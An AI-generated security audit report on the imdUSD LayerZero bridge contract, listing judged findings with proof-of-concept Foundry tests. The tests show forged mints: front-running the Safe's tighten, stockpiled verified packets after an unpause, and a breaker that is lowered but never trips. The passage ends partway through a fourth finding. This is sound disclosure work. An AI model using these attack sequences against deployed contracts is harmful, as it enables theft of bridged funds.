# Audit report

> AUDIT src/bridge/ImdBridge.sol (no guardian; governed per-path inbound delay, claims, bulk cancel, queue breaker) with ImdUSD's one-time bridge minter (SET_BRIDGE, checkBridge), and script/launch/BridgeBatch.s.sol and Safe4663.s.sol, at the pinned commit.
>
> imdUSD v2 is a multi-collateral CDP stablecoin. On 12-07 its capped beta launches on Ethereum AND Robinhood Chain (4663, incl. stock tokens), joined by a LayerZero V2 burn-and-mint bridge. README.md gives scope, invariants, trust model and known issues: read it first. Wave 4 findings: GET https://api.imd.fun/jobs/<id>/submissions (0cb1541e prices, ae48df88 keeper, 34e546c2 bridge, 549dae1c stocks).
>
> BUILD AND TEST (required; Foundry, solc 0.8.26 via_ir; never build the whole project with solc: ~49 GB). Run `forge test --match-path 'test/{unit/Bridge*,unit/AuditW4Bridge*,unit/AuditW5Bridge*,unit/AuditW5SetBridge,invariant/BridgeInvariants}.t.sol'`; Foundry 1.9+ `forge test --use solar --no-match-path 'test/fork/*'` runs all in seconds (confirm a proof with solc). Write each proof as test/unit/Proof<Name>.t.sol in the glob, run it, paste it with its output, then delete it. Fork: `forge test --match-path 'test/fork/{AuditW4BridgeEndpoint,BridgeInboundDelayEndpoint,Robinhood}.t.sol'` (real EndpointV2; mainnet + ROBINHOOD_RPC_URL).
>
> PROPERTIES:
> P1 Each chain's supply equation holds (received at claim, queued in flight); across chains minted <= burned except what compromised DVNs or a deep source reorg force, within P2.
> P2 Per path, with its settings (instant cap C, delay D, breaker B; launch 5,000/day, 12 h, 50,000): what mints at once in any interval t is at most C + C x t / 1 day; nothing queued mints before queuedAt + D; with no human action at most B queued in any 4 UTC days becomes claimable, past it the path trips until a timelocked RESET_BREAKER.
> P3 A Safe that pauses (or tightens C to 0 with a cutoff at or before the first forged Queued) within D of the first forged Received or Queued, and leaves no forged claim pending before any UNPAUSE, RESET_BREAKER or SET_DELAY, loses at most C x (1 + D / 1 day) (7,500 at launch); no forger can front-run, revert or outlast that act.
> P4 No honest transfer is lost: a pending claim past its delay on an open, untripped path below any cancel cutoff is claimable by anyone forever, and a cutoff, trip, pause or lengthened delay only waits; a held honest message runs for anyone after HOLD_TIME (72 h) unless its payload changed or it was voided.
> P5 Instant acts (pause, hold, voidPayload, cancelClaim, tripBreaker, tighten) only delay or kill; everything that opens, loosens or releases passes only the 48 h timelock, and no loosening proposed before a tightening applies after it.
> P6 A path carries value only while both libraries are pinned with a floor-checked config set by this OApp (3+ required DVNs, optional NIL, confirmations 15/20); nothing under MIN_AMOUNT (10) moves; one path's settings and state never affect another's.
> P7 SET_BRIDGE (once, never replaceable) names only a contract wired to this chain's imdUSD, endpoint, Safe and Treasury; BridgeBatch writes exactly the config P2-P6 assume (limits 50,000/day, launch C/D/B, pins, ULN configs, gas 250,000); Safe4663 gives the mainnet Safe's address and owners.
>
> THREAT MODEL: compromised DVNs control which packets verify (any number and split) and can overwrite a waiting payload; anyone runs lzReceive once a packet verifies (an instant mint happens in that call) and anyone claims; builders order within and across blocks (a claim at its due time vs a pause, SET_DELAY vs tighten); a compromised Safe (2 of 3, same owners on both chains) controls the instant acts (accepted) and, after a public 48 h (one pending proposal), any peer, limits up to MAX_LIMIT 250,000,000, C and B up to ~1.8e13, D 1 h-7 d, and SET_BRIDGE to any contract reporting the right wiring; users control send's parameters; the source can reorg past 15/20 confirmations. NO guardian.
>
> PATH: send (burn, fee to Treasury) -> EndpointV2 -> DVNs + executor -> lzReceive (peer, pause, config, void, hold, minimum, limit) -> instant mint or Queued -> claim at queuedAt + D AT CLAIM TIME (not paused, tripped or under the cutoff) -> ImdUSD.mint via the minter set once by SET_BRIDGE -> spent via Redeemer, the peg pool, repayment or a send back. tighten (instant) lowers C or B, lengthens D, moves the cutoff earlier and bumps the path's version; SET_DELAY names the version it was proposed on.
>
> CLAIMS TO CHECK: confirm or refute each with a test.
> C1 at launch values the no-action 72 h bound per path is 4C + B = 70,000, above the 4663 chain line (30,000): ACCEPTED for whales; its safety case is C2. Show any schedule beyond it.
> C2 the Safe-within-D case holds with D read at claim time: a SET_DELAY shortening D makes no forged claim queued under the old D spendable before the Safe could act, and nothing forged is spendable sooner than D after verification except the instant allowance.
> C3 a stale SET_DELAY never undoes a tighten (version), yet repeated tightens cannot block every loosening or cutoff restore forever without the Safe's own consent; claims under a cutoff restored by SET_DELAY lose nothing.
> C4 250,000 gas covers lzReceive with the real ImdUSD (worst 192,275, a path's first mint), not at Glamsterdam (~470-650k; known, raised by SET_PATH); a shortfall only delays.
> C5 a trip, cutoff or forged packet cannot take or permanently block an honest claim (origin GUID key); a reverting lzReceive leaves the packet retryable (a forged execution still spends an honest nonce: known).
> C6 checkBridge reads the candidate's own views: a contract faking the wiring passes (known).
>
> SOUNDNESS: wave 4 found four holes each in pin/config, stopping a forgery and the limiter. Is "daily instant cap + delay + breaker + Safe-only pause and bulk cancel" sound against a splitting, patient forger, or does safety rest on a D-hour human response? ImdBridge has 81 B of size left and SET_BRIDGE is permanent: give the smallest change.
>
> PROOF STANDARD: invariant tests (extend BridgeInvariants' attack handler: holds, voids, claims, cancels, cutoffs, tightens, SET_DELAYs, trips, resets, UTC-day edges, several txs per block) and real-EndpointV2 fork tests, not the mock alone.
>
> Answer each:
> 1. (P1, P2) Find a mint beyond P2: splits, meter decay, a changed cap, UTC-day edges, the 2x limiter window, replays, reorgs, dust, a reset.
> 2. (P3, P5) Can a forger beat a Safe acting within D (front-run, revert or outlast its acts, claim early), can a timelocked loosening race an instant tightening, or can an instant act open anything?
> 3. (P4) Can an honest transfer be lost, taken or held for good (cutoff, its restore, lengthened or shortened delay, hold, reset)?
> 4. (P6) Is "both pinned + configured never cleared" sound (wave 4: H1, L2, L3, L7) against any batch order, grace, LayerZero default or ULN302 merging unset fields? Are paths isolated?
> 5. (P7) Beyond C6, can SET_BRIDGE name another contract; do the batch files produce exactly the claimed config and owners?
>
> Not findings: README 'Known issues' as written (a known issue worse than written IS a finding); test/ and mocks; src/dex, src/earn/LoopVault.sol, and launch files README marks compile-only.
>
> Every finding: severity by impact; file, line, the lines copied; the call sequence; the failing state, expected vs actual; reachable with the deploy config or not; the smallest fix; a test that fails on this commit, RUN as BUILD says and pasted with its output (the judge reruns it). Answer every numbered question, including where nothing is wrong.

| | |
|---|---|
| Repository | https://github.com/imdusd/imdusd-v2-audit.git |
| Commit | `422a3373a78ed6b55d32a943a5481ffcbb8af1bf` |
| Job | `74838ad4-d315-4e51-a299-0a67060f493e` |
| Judged | 2026-11-18 22:21 UTC |
| Findings | 2 medium · 6 low · 1 info |

Four agents audited the code as it is at `422a337`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. Medium: P3: anyone can make the Safe's instant tighten (C to 0 + bulk-cancel cutoff) revert NotTighter by applying a matured SET_DELAY in front of it; the forged claim then matures and mints

`src/bridge/ImdBridge.sol:607`

```
        if (
            instantCap > uint256(instantIn[srcEid].capSD) * CONVERSION || queueBreaker > uint256(b.breakerSD) * CONVERSION
                || delay < b.delay || delay > MAX_DELAY || (cancelFrom != cut && (cancelFrom == 0 || (cut != 0 && cancelFrom > cut)))
        ) revert NotTighter();
```

Merged from three specialists (flow, economics, math); reproduced here. tighten() takes absolute values and reverts NotTighter unless every argument is at or tighter than the path's CURRENT settings. Those settings can be changed in the same block by anyone: Governed.applyPending() is permissionless once a proposal's 48 h has run and stays applicable for PROPOSAL_EXPIRY. The Safe's documented incident act is tighten(eid, 0, <current delay>, <current breaker>, cutoff) (the form AuditW5BridgeBulkCancel uses). If a SET_DELAY the Safe proposed earlier is matured and changes ANY field in the tighter direction (a lower B, a longer D, an earlier cutoff, also when mixed with a raised C), a forger (or a builder) applies it just before the Safe's transaction: queueBreaker > b.breakerSD, or delay < b.delay, so the signed tighten reverts. No version bump, no cutoff, cap not 0; a 2-of-3 Safe needs a new signature round while the forged claims age toward queuedAt + D. Same root: Governed.cancel() reverts NothingPending once the proposal was applied, so a MultiSend [cancel(), tighten(...)] or [cancel(), pause()] (the README tells the Safe to cancel pending proposals in an incident) is reverted the same way. P3 states 'no forger can front-run, revert or outlast that act' for the tighten route as well; it holds only for a bare pause(). This is not the README's known 'a pending loosening applies by anyone': the applied proposal may be a pure tightening, and the harm is the revert of the Safe's instant act. Reachable with the deploy config (launch C 5,000 / D 12 h / B 50,000) whenever a SET_DELAY is pending past its ETA. Impact: forged claims queued before the act mature (up to B = 50,000 at launch on top of the instant part) instead of P3's 7,500. SMALLEST FIX (removes code, so it fits the 81 B): tighten clamps instead of reverting: cap = min(arg, current), breaker = min(arg, current), delay = max(arg, current) (revert only above MAX_DELAY), cutoff = the earlier non-zero of arg and current; drop NotTighter. Also make an incident bundle robust: sign pause(eid) alone, never cancel() before the instant act in one batch.

**Reproduction**

Launch values on the path (C 5,000, D 12 h, B 50,000, version 0). 1) Safe: propose(SET_DELAY(eid, 5,000e18, 12 h, 20,000e18, 0, version 0)) (a routine lowering of B); 48 h pass, nobody applies. 2) t0: a forged 20,000 message runs lzReceive: Queued, claimable t0 + 12 h. 3) t0 + 11 h (inside D): the forger calls applyPending() (B becomes 20,000) just before the Safe's tighten(eid, 0, 12 h, 50,000e18, t0). 4) The Safe's tighten reverts NotTighter(). 5) t0 + 12 h: claim(eid, guid) mints 20,000 to the forger. Expected: the Safe's act within D lands and nothing forged mints through a claim (attacker 0). Actual: 20,000e18 minted. Rerun here with solc 0.8.26 via_ir on the pinned commit, `forge test --match-path 'test/scratch/Proof_2a0a7be4cafc.t.sol'`: [FAIL: a forged claim minted although the Safe tightened within D: 20000000000000000000000 != 0] test_F1_appliedSetDelayRevertsSafeBulkCancel() (gas: 579003); Suite result: FAILED. 0 passed; 1 failed.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";
import {ImdBridge, UlnConfig, IMintableBurnable} from "src/bridge/ImdBridge.sol";
import {ILayerZeroEndpointV2, Origin} from "layerzero-v2/protocol/interfaces/ILayerZeroEndpointV2.sol";
import {SetConfigParam} from "layerzero-v2/protocol/interfaces/IMessageLibManager.sol";

contract MockEndpoint {
    uint32 public immutable eid;

    constructor(uint32 eid_) {
        eid = eid_;
    }

    function setConfig(address, address, SetConfigParam[] calldata) external {}
    function setSendLibrary(address, uint32, address) external {}
    function setReceiveLibrary(address, uint32, address, uint256) external {}

    function deliver(address bridge, uint32 srcEid, bytes32 sender, uint64 nonce, bytes32 guid, bytes calldata message) external {
        ImdBridge(bridge).lzReceive(Origin(srcEid, sender, nonce), guid, message, address(0), "");
    }
}

contract MockToken {
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 amount) external returns (bool) {
        balanceOf[to] += amount;
        return true;
    }

    function burn(address from, uint256 amount) external returns (bool) {
        balanceOf[from] -= amount;
        return true;
    }
}

contract Lib {}

contract ProofW5Test is Test {
    uint32 constant LOCAL = 30416;
    uint32 constant HOME = 30101;
    uint32 constant OTHER = 30110;
    bytes32 constant PEER = bytes32(uint256(0xBEEF));
    address safe = address(0x5AFE);
    address treasury = address(0x7EA5);
    address alice = address(0xA11CE);
    address attacker = address(0xBAD);
    MockEndpoint ep;
    MockToken tok;
    ImdBridge b;
    address sendLib;
    address recvLib;

    function setUp() public {
        vm.warp(1_800_000_000);
        ep = new MockEndpoint(LOCAL);
        tok = new MockToken();
        sendLib = address(new Lib());
        recvLib = address(new Lib());
        b = new ImdBridge(ILayerZeroEndpointV2(address(ep)), IMintableBurnable(address(tok)), safe, treasury);
        _propose(_launch(HOME));
        _apply();
    }

    /// @dev The launch BATCH without its SET_DELAY item: SET_PATH (50,000/day both ways), both pins, executor + ULN configs.
    function _launch(uint32 eid) internal view returns (bytes memory) {
        address[] memory dvns = new address[](3);
        (dvns[0], dvns[1], dvns[2]) = (address(0x1001), address(0x1002), address(0x1003));
        bytes memory uln = abi.encode(UlnConfig(20, 3, 255, 0, dvns, new address[](0)));
        SetConfigParam[] memory sp = new SetConfigParam[](2);
        sp[0] = SetConfigParam(eid, 1, abi.encode(uint32(10_000), address(0xE0)));
        sp[1] = SetConfigParam(eid, 2, uln);
        SetConfigParam[] memory rp = new SetConfigParam[](1);
        rp[0] = SetConfigParam(eid, 2, uln);
        bytes[] memory items = new bytes[](5);
        items[0] = abi.encode(uint8(1), eid, PEER, uint256(50_000e18), uint256(1 days), uint256(50_000e18), uint256(1 days), bytes(""));
        items[1] = abi.encode(uint8(3), eid, sendLib);
        items[2] = abi.encode(uint8(4), eid, recvLib, uint256(0));
        items[3] = abi.encode(uint8(2), sendLib, sp);
        items[4] = abi.encode(uint8(2), recvLib, rp);
        return abi.encode(uint8(6), items);
    }

    function _propose(bytes memory payload) internal {
        vm.prank(safe);
        b.propose(payload);
    }

    function _apply() internal {
        vm.warp(b.pendingEta());
        b.applyPending();
    }

    function _msg(address to, uint256 amount) internal pure returns (bytes memory) {
        return abi.encodePacked(bytes32(uint256(uint160(to))), uint64(amount / 1e12));
    }

    function _guid(uint64 nonce) internal view returns (bytes32) {
        return keccak256(abi.encodePacked(nonce, HOME, PEER, LOCAL, bytes32(uint256(uint160(address(b))))));
    }

    function _deliver(uint64 nonce, address to, uint256 amount) internal returns (bytes32 guid) {
        guid = _guid(nonce);
        ep.deliver(address(b), HOME, PEER, nonce, guid, _msg(to, amount));
    }

    /// F1 (P3): a matured SET_DELAY that anyone applies makes the Safe's signed `tighten` revert (NotTighter); the forged
    /// claim it was to cancel then matures and mints.
    function test_F1_appliedSetDelayRevertsSafeBulkCancel() public {
        // routine, public change proposed 48 h ago: breaker 50,000 -> 20,000, cap and delay as they are, version 0
        _propose(abi.encode(uint8(15), HOME, uint256(5_000e18), uint256(12 hours), uint256(20_000e18), uint256(0), uint256(0)));
        vm.warp(b.pendingEta()); // matured, applicable by anyone
        uint256 t0 = vm.getBlockTimestamp();
        bytes32 g = _deliver(1, attacker, 20_000e18); // forged, above C: queued, claimable at t0 + 12 h
        assertEq(b.queued(), 20_000e18);
        assertEq(tok.balanceOf(attacker), 0);
        // the Safe's signature round lands 11 h later (inside D): tighten(cap 0, the delay and breaker as they are, cutoff t0)
        vm.warp(t0 + 11 hours);
        vm.prank(attacker);
        b.applyPending(); // front-run in the same block
        vm.prank(safe);
        try b.tighten(HOME, 0, 12 hours, 50_000e18, uint40(t0)) {} catch (bytes memory err) {
            emit log_named_bytes("the Safe's tighten reverted", err);
        }
        vm.warp(t0 + 12 hours);
        try b.claim(HOME, g) {} catch {}
        assertEq(tok.balanceOf(attacker), 0, "a forged claim minted although the Safe tightened within D");
    }
}
```

### 2. Medium: P3: forged packets verified at the endpoint but not executed outlast pause + DVN fix + UNPAUSE: every reopening mints a fresh instant cap (10,000 > 7,500 in the proof), and nothing on the bridge bulk-

`src/bridge/ImdBridge.sol:1050`

```
            (, uint32 eid) = abi.decode(payload, (uint8, uint32));
            paused[eid] = false;
            emit Unpaused(eid);
```

Reproduced (economics specialist's proof rerun). P3 bounds the loss of a Safe that pauses within D and leaves no forged CLAIM pending before UNPAUSE at C x (1 + D / 1 day) = 7,500, and says no forger can outlast that act. A compromised DVN set can verify any number of forged packets at EndpointV2 and leave them unexecuted (also while the path is paused, and during the 48 h the DVN fix waits in the timelock: verification does not touch the bridge). Such packets emit no Received/Queued here, are not claims, and are untouched by pause, cancelClaim, the tighten cutoff (it works on queuedAt, and they queue only after reopening) and by the DVN fix (SET_CONFIG on the same receive library keeps configured[lib][eid] true and EndpointV2 keeps the stored payload hashes). lzReceive (lines 514-528) checks peer, pause, configured, voided and hold only. After UNPAUSE the instant meter has decayed completely (>= 48 h), so anyone executes the stockpile: C (5,000) mints at once again and the rest queues, needing a second answer within D; a patient forger repeats it at every reopening (and after a SET_DELAY that restores C). The only defence is voidPayload on every stored forged hash, one hash per call: exactly the per-item cost the bulk cancel was built to avoid for claims, with no O(1) equivalent for packets that have not executed. The NatSpec's Kelp sequence does say 'void every forged payload', but P3's premise and the README's 7,500 safety case do not carry it, and the forger keeps verifying new hashes until the DVN fix applies. Reachable with the deploy config. Loss: + C per reopening beyond P3's bound (and a fresh D race for what queues). SMALLEST FIX: in the UNPAUSE branch start the path with a full instant meter: `Meter storage m = instantIn[eid]; (m.used, m.lastUpdated) = (uint128(m.capSD) * uint128(CONVERSION), uint64(block.timestamp));` so for the first day after a reopening everything queues for D and is visible as Queued (it then counts in the breaker too). If the bytes do not fit, make it a stated precondition of UNPAUSE (and of P3): every payload hash EndpointV2 stores for the path above the last matched Sent nonce is voided first. The fix was not compiled against the 81 B here.

**Reproduction**

Path from 30101 open with launch values (C 5,000/day, D 12 h, limits 50,000/day). t0: the DVNs verify forged nonce 1 (5,000) and forged nonce 2 (5,000) at the endpoint; anyone executes nonce 1: instant mint 5,000. t0+1h: Safe pause(30101); queued == 0, no forged claim is pending. 48 h SET_CONFIG replaces the DVN set on the same receive library; then a 48 h UNPAUSE applies. Anyone executes nonce 2: a second instant mint of 5,000. Expected (P3): attacker <= 7,500. Actual: 10,000. Rerun here (solc 0.8.26 via_ir), `forge test --match-path 'test/scratch/Proof_6ec63f3d1365.t.sol'`: [FAIL: P3: forged mint above C x (1 + D / 1 day): 10000000000000000000000 > 7500000000000000000000] test_stockpiledForgeryMintsAfterUnpause() (gas: 1290117); Suite result: FAILED. 0 passed; 1 failed.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ImdBridge, IMintableBurnable, UlnConfig} from "src/bridge/ImdBridge.sol";
import {ILayerZeroEndpointV2, Origin} from "layerzero-v2/protocol/interfaces/ILayerZeroEndpointV2.sol";
import {SetConfigParam} from "layerzero-v2/protocol/interfaces/IMessageLibManager.sol";

/// @dev EndpointV2's inbound channel, reduced to what these proofs use: a verified payload hash stays stored until it is
/// executed; lzReceive is permissionless; a reverting receiver reverts the whole call (the packet stays retryable).
contract PEp {
    uint32 public immutable eid;
    mapping(address => mapping(uint32 => mapping(bytes32 => mapping(uint64 => bytes32)))) public inboundPayloadHash;

    constructor(uint32 e) {
        eid = e;
    }

    function setConfig(address, address, SetConfigParam[] calldata) external {}
    function setSendLibrary(address, uint32, address) external {}
    function setReceiveLibrary(address, uint32, address, uint256) external {}

    /// @dev What a (compromised) DVN set's commit does: store the payload hash at the nonce.
    function verify(Origin calldata o, address r, bytes32 h) external {
        inboundPayloadHash[r][o.srcEid][o.sender][o.nonce] = h;
    }

    function lzReceive(Origin calldata o, address r, bytes32 guid, bytes calldata m) external {
        bytes32 h = keccak256(abi.encodePacked(guid, m));
        require(inboundPayloadHash[r][o.srcEid][o.sender][o.nonce] == h, "LZ_PayloadHashNotFound");
        delete inboundPayloadHash[r][o.srcEid][o.sender][o.nonce];
        ImdBridge(r).lzReceive(o, guid, m, msg.sender, "");
    }
}

contract PTok {
    mapping(address => uint256) public balanceOf;
    uint256 public totalSupply;

    function mint(address to, uint256 a) external returns (bool) {
        balanceOf[to] += a;
        totalSupply += a;
        return true;
    }

    function burn(address f, uint256 a) external returns (bool) {
        balanceOf[f] -= a;
        totalSupply -= a;
        return true;
    }
}

contract PLib {}

abstract contract PBase is Test {
    uint32 constant SRC = 30101; // the path from Ethereum, on the 4663 bridge
    uint32 constant LOCAL = 30416;
    uint256 constant C = 5_000e18; // launch instant cap
    uint256 constant D = 12 hours; // launch claim delay
    PEp ep;
    PTok tok;
    ImdBridge br;
    address safe = address(0x5AFE);
    address attacker = address(0xBAD);
    address alice = address(0xA11CE);
    bytes32 peer = bytes32(uint256(0xBEEF));
    address recvLib;
    uint64 lastNonce;

    struct Pkt {
        Origin o;
        bytes32 guid;
        bytes m;
    }

    function setUp() public {
        vm.warp(1_800_000_000);
        ep = new PEp(LOCAL);
        tok = new PTok();
        br = new ImdBridge(ILayerZeroEndpointV2(address(ep)), IMintableBurnable(address(tok)), safe, address(0x7EA5));
        address s = address(new PLib());
        recvLib = address(new PLib());
        bytes[] memory items = new bytes[](5);
        items[0] = abi.encode(uint8(1), SRC, peer, uint256(50_000e18), uint256(1 days), uint256(50_000e18), uint256(1 days), bytes(""));
        items[1] = abi.encode(uint8(3), SRC, s);
        items[2] = abi.encode(uint8(4), SRC, recvLib, uint256(0));
        SetConfigParam[] memory sp = new SetConfigParam[](2);
        sp[0] = SetConfigParam(SRC, 1, abi.encode(uint32(10_000), address(0xE0E0)));
        sp[1] = SetConfigParam(SRC, 2, _uln(0x1000));
        items[3] = abi.encode(uint8(2), s, sp);
        items[4] = _recvCfg(0x1000);
        _govern(abi.encode(uint8(6), items));
    }

    function _uln(uint160 base) internal pure returns (bytes memory) {
        address[] memory d = new address[](3);
        (d[0], d[1], d[2]) = (address(base + 1), address(base + 2), address(base + 3));
        return abi.encode(UlnConfig(20, 3, 255, 0, d, new address[](0)));
    }

    function _recvCfg(uint160 base) internal view returns (bytes memory) {
        SetConfigParam[] memory rp = new SetConfigParam[](1);
        rp[0] = SetConfigParam(SRC, 2, _uln(base));
        return abi.encode(uint8(2), recvLib, rp);
    }

    function _govern(bytes memory p) internal {
        vm.prank(safe);
        br.propose(p);
        vm.warp(vm.getBlockTimestamp() + 48 hours);
        br.applyPending();
    }

    /// @dev A packet the DVNs verified at the next nonce (forged when `to` is the attacker).
    function _verify(address to, uint256 amount) internal returns (Pkt memory p) {
        uint64 n = ++lastNonce;
        p.o = Origin(SRC, peer, n);
        p.guid = keccak256(abi.encode("pkt", n));
        p.m = abi.encodePacked(bytes32(uint256(uint160(to))), uint64(amount / 1e12));
        ep.verify(p.o, address(br), keccak256(abi.encodePacked(p.guid, p.m)));
    }

    function _run(Pkt memory p) internal {
        ep.lzReceive(p.o, address(br), p.guid, p.m);
    }

    function _key(uint64 n) internal view returns (bytes32) {
        return keccak256(abi.encodePacked(n, SRC, peer, LOCAL, bytes32(uint256(uint160(address(br))))));
    }
}

/// P3: a Safe that pauses within D of the first forged Received and leaves no forged claim pending before UNPAUSE should
/// lose at most C x (1 + D / 1 day) = 7,500. A forged packet the DVNs verified but nobody executed stays at the endpoint
/// through the pause, the DVN fix and the UNPAUSE, and mints a fresh instant cap the moment the path reopens.
contract ProofStockpileOutlastsPause is PBase {
    function test_stockpiledForgeryMintsAfterUnpause() public {
        Pkt memory a = _verify(attacker, C); // forged, executed at once
        Pkt memory b = _verify(attacker, C); // forged, verified in the same window, held back
        _run(a);
        assertEq(tok.balanceOf(attacker), C, "instant mint");
        // the Safe pauses 1 h after the first forged Received (within D); nothing is queued, so no forged claim is pending
        vm.warp(vm.getBlockTimestamp() + 1 hours);
        vm.prank(safe);
        br.pause(SRC);
        assertEq(br.queued(), 0);
        // the Kelp sequence: replace the DVN set (48 h), then UNPAUSE (48 h, its own proposal)
        _govern(_recvCfg(0x2000));
        _govern(abi.encode(uint8(5), SRC));
        // anyone runs the stockpiled forged packet: it was verified under the old DVNs and still executes
        _run(b);
        assertLe(tok.balanceOf(attacker), C + C * D / 1 days, "P3: forged mint above C x (1 + D / 1 day)");
    }
}
```

### 3. Low: tighten() lowering the queue breaker B below what the 4-day window already holds does not trip the path: the queued amount above the new B still matures and mints

`src/bridge/ImdBridge.sol:732`

```
        if (sum > b.breakerSD && !b.tripped) _trip(b, origin.srcEid, address(this));
```

Merged from two specialists (permissions: medium, math: low); reproduced. The breaker is evaluated only inside _queue, when a NEW message queues (the quoted line). tighten() (lines 601-613) writes a lower breakerSD through _setDelay and never compares it with the window sum in breakerBuckets; a SET_DELAY lowering B behaves the same. After the Safe lowers B below what is already queued, the path stays untripped; a forger simply stops queueing and every forged claim already queued matures at queuedAt + D. So 'tighten B' is the one instant tightening that does nothing against what is in flight (a lowered C stops instant mints at once, a longer D applies to pending claims, a cutoff cancels them). Kept at LOW, not medium: pause, tripBreaker and the cutoff all stop the same claims, and P3's safety case names pause or C = 0 + cutoff, not a lowered B; the harm needs a Safe that picks this act alone. Reachable with the deploy config. SMALLEST FIX: in tighten, when it lowers B, trip: `if (queueBreaker < old B && !b.tripped) _trip(b, srcEid, msg.sender);` (cheapest), or sum the four buckets after _setDelay and trip only when sum > breakerSD (needs _queue's loop factored out; may not fit 81 B). Otherwise document that a lowered B only affects later queueing and the Safe must tripBreaker.

**Reproduction**

Launch-valued path (C 5,000, D 12 h, B 50,000, in limit 50,000/day). t0: forged nonce 1 (5,000, instant) and nonce 2 (40,000, Queued; window 40,000 <= B). t0+1h: Safe tighten(eid, 5,000e18, 12 h, 10,000e18, 0). Expected: 40,000 > new B 10,000, so the path is tripped and the claim waits for RESET_BREAKER. Actual: breakers(eid).tripped == false and at t0+12h claim mints 40,000 (forger 45,000). Rerun here (solc 0.8.26 via_ir), `forge test --match-path 'test/scratch/Proof_50596d6b8419.t.sol'`: [FAIL: the 40,000 forged claim minted after B was tightened to 10,000: 45000000000000000000000 != 5000000000000000000000] test_forgedClaimMintsAfterBreakerTightened() (gas: 331019); [FAIL: 40,000 queued in the window > the new breaker 10,000, yet the path is not tripped] test_tightenBreakerBelowQueuedDoesNotTrip() (gas: 286837); 0 passed; 2 failed.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ImdBridge, IMintableBurnable, UlnConfig} from "src/bridge/ImdBridge.sol";
import {ILayerZeroEndpointV2, Origin} from "layerzero-v2/protocol/interfaces/ILayerZeroEndpointV2.sol";
import {SetConfigParam} from "layerzero-v2/protocol/interfaces/IMessageLibManager.sol";

contract EpStub {
    function eid() external pure returns (uint32) {
        return 30101;
    }

    function setConfig(address, address, SetConfigParam[] calldata) external {}
    function setSendLibrary(address, uint32, address) external {}
    function setReceiveLibrary(address, uint32, address, uint256) external {}

    function inboundPayloadHash(address, uint32, bytes32, uint64) external pure returns (bytes32) {
        return bytes32(0);
    }
}

contract TokStub {
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 a) external returns (bool) {
        balanceOf[to] += a;
        return true;
    }

    function burn(address from, uint256 a) external returns (bool) {
        balanceOf[from] -= a;
        return true;
    }
}

contract LibStub {}

/// tighten() lowering the queue breaker B below what the 4-day window already holds does not trip the path:
/// the queued forgery stays claimable at queuedAt + D.
contract ProofTightenBreakerTest is Test {
    uint32 constant RH = 30416;
    bytes32 constant PEER = bytes32(uint256(0xBEEF));
    EpStub ep;
    TokStub tok;
    ImdBridge br;
    address libS;
    address libR;
    address forger = address(0xF0);
    uint64 nonce;

    function setUp() public {
        vm.warp(1_800_000_000);
        ep = new EpStub();
        tok = new TokStub();
        br = new ImdBridge(ILayerZeroEndpointV2(address(ep)), IMintableBurnable(address(tok)), address(this), address(0x7E));
        libS = address(new LibStub());
        libR = address(new LibStub());
        bytes[] memory items = new bytes[](5);
        items[0] = abi.encode(uint8(1), RH, PEER, uint256(50_000e18), uint256(1 days), uint256(50_000e18), uint256(1 days), bytes(""));
        items[1] = abi.encode(uint8(3), RH, libS);
        items[2] = abi.encode(uint8(4), RH, libR, uint256(0));
        items[3] = abi.encode(uint8(2), libS, _uln());
        items[4] = abi.encode(uint8(2), libR, _uln());
        br.propose(abi.encode(uint8(6), items));
        vm.warp(block.timestamp + 48 hours);
        br.applyPending();
    }

    function _uln() internal pure returns (SetConfigParam[] memory p) {
        address[] memory d = new address[](3);
        (d[0], d[1], d[2]) = (address(0x11), address(0x22), address(0x33));
        p = new SetConfigParam[](1);
        p[0] = SetConfigParam(RH, 2, abi.encode(UlnConfig(20, 3, 255, 0, d, new address[](0))));
    }

    function _forge(uint256 amount) internal returns (bytes32 key) {
        ++nonce;
        bytes memory m = abi.encodePacked(bytes32(uint256(uint160(forger))), uint64(amount / 1e12));
        vm.prank(address(ep));
        br.lzReceive(Origin(RH, PEER, nonce), keccak256(abi.encode(nonce)), m, address(0), "");
        key = keccak256(abi.encodePacked(nonce, RH, PEER, uint32(30101), bytes32(uint256(uint160(address(br))))));
    }

    function test_tightenBreakerBelowQueuedDoesNotTrip() public {
        _forge(5_000e18); // instant allowance
        bytes32 key = _forge(40_000e18); // queued, 40,000 < B = 50,000: no trip
        (,, bool tripped,,,,) = br.breakers(RH);
        assertFalse(tripped);

        // the Safe, 1 h later, lowers the breaker to 10,000: 40,000 is already queued in the window
        vm.warp(block.timestamp + 1 hours);
        br.tighten(RH, 5_000e18, 12 hours, 10_000e18, 0);
        (,, tripped,,,,) = br.breakers(RH);
        assertTrue(tripped, "40,000 queued in the window > the new breaker 10,000, yet the path is not tripped");
    }

    function test_forgedClaimMintsAfterBreakerTightened() public {
        _forge(5_000e18);
        bytes32 key = _forge(40_000e18);
        vm.warp(block.timestamp + 1 hours);
        br.tighten(RH, 5_000e18, 12 hours, 10_000e18, 0);
        vm.warp(block.timestamp + 11 hours);
        vm.prank(forger);
        try br.claim(RH, key) {} catch {}
        assertEq(tok.balanceOf(forger), 5_000e18, "the 40,000 forged claim minted after B was tightened to 10,000");
    }
}
```

### 4. Low: P1: a BATCH naming one cancelled claim in two UNCANCEL items adds it to `queued` twice (in-flight total overstated for good)

`src/bridge/ImdBridge.sol:1034`

```
            Claim storage c = claims[eid][guid];
            c.state = CLAIM_PENDING;
            queued += uint256(c.amountSD) * CONVERSION;
```

